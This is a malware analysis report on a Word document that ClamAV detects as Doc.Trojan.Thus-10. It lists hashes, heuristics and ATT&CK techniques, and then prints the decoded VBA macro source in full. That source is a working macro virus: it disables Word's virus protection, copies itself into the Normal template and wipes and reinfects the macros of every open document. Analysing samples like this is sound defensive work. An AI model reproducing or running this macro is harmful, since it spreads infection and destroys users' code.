Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3fb37c6a4ba91b5…

MALICIOUS

Office (OLE)

28.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 61897fa24db559921cba29bc2ea78eba SHA-1: a833b38bc0c789e5f3433964af4d46fa99c8360f SHA-256: c3fb37c6a4ba91b564393460e59b25a151e9f0d3d07eca8bca1292c67d877353
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon document opening. The macro attempts to clear existing macros and copy itself to the Normal template, indicating an attempt to establish persistence. The ClamAV detection 'Doc.Trojan.Thus-10' further supports its malicious nature. While the exact payload is not visible due to truncation, the persistence mechanism is clear.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2308 bytes
SHA-256: 031ea28c7bb262675aa7debba5b13e29b478c6c4505c402abe2aa1e42d467e19
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Clear'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Clear'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    For i = 1 To Application.Documents.Item(k).VBProject.VBComponents.Count
    numberofline = Application.Documents.Item(k).VBProject.VBComponents.Item(i).CodeModule.CountOfLines
    Application.Documents.Item(k).VBProject.VBComponents.Item(i).CodeModule.DeleteLines 1, numberofline
    Next i
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Clear'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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